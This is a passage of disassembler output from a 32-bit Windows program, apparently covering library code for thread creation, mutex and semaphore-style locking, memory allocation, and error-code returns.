		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]


loc_430844:				; DATA XREF: sub_58A891+1289Eo
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 7EE44FE8h
		dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		call	near ptr 2790203h
		nop


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


